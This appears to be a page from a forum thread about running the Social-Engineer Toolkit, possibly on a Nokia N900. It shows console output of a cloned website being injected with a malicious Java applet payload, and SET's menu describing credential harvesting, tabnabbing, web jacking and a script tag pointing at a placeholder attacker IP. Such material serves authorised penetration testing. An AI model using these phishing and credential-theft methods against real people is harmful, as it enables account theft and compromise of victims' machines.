Social Engineer Toolkit (Страница 3 из 16)

Nokia-N900-51-1:~/rubygems# ruby1.8 setup.rb
./rubygems.rb:10:in `require': no such file to load -- rubygems/defaults (LoadError)
    from ./rubygems.rb:10
    from setup.rb:24:in `require'
    from setup.rb:24
Nokia-N900-51-1:~/rubygems# 

[*] Cloning the website: http://192.168.1.2
[*] This could take a little bit...
[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: 6vmVyF
[*] Malicious java applet website prepped for deployment


***************************************************
Web Server Launched. Welcome to the SET Web Attack.
***************************************************

[--] Tested on IE6, IE7, IE8, Safari, Chrome, and FireFox [--]

[*] Launching MSF Listener...
[*] This may take a few to load MSF...

The Social-Engineer Toolkit "Web Attack" vector is a unique way of 
utilizing multiple web-based attacks in order to compromise the 
intended victim. 

Enter what type of attack you would like to utilize.

The Java Applet attack will spoof a Java Certificate and
deliver a metasploit based payload. Uses a customized 
java applet created by Thomas Werth to deliver 
the payload.

The Metasploit browser exploit method will utilize select
Metasploit browser exploits through an iframe and deliver 
a Metasploit payload.

The Credential Harvester Method will utilize web cloning
of a website that has a username and password field and
harvest all the information posted to the website.

The TabNabbing Method will wait for a user to move to a
different tab, then refresh the page to something different.

The Man Left in the Middle Attack Method was introduced by
Kos and utilizes HTTP REFERER's in order to intercept fields
and harvest data from them. You need to have an already vulnerable
site and incorporate <script src="http://YOURIP/">. This could either
be from a compromised site or through XSS.

The web jacking attack method was introduced by white_sheep, Emgent 
and the Back|Track team. This method utilizes iframe replacements to 
make the highlighted URL link to appear legitimate however when clicked 
a window pops up then is replaced with the malicious link. You can edit
the link replacement settings in the set_config if its too slow/fast.

The multi-attack will add a combination of attacks through the web attack
menu. For example you can utilize the Java Applet, Metasploit Browser,
Credential Harvester/Tabnabbing, and the Man Left in the Middle attack
all at once to see which is successful.

1. The Java Applet Attack Method
2. The Metasploit Browser Exploit Method
3. Credential Harvester Attack Method
4. Tabnabbing Attack Method
5. Man Left in the Middle Attack Method
6. Web Jacking Attack Method 
7. Multi-Attack Web Method
8. Return to the previous menu

Enter your choice (press enter for default):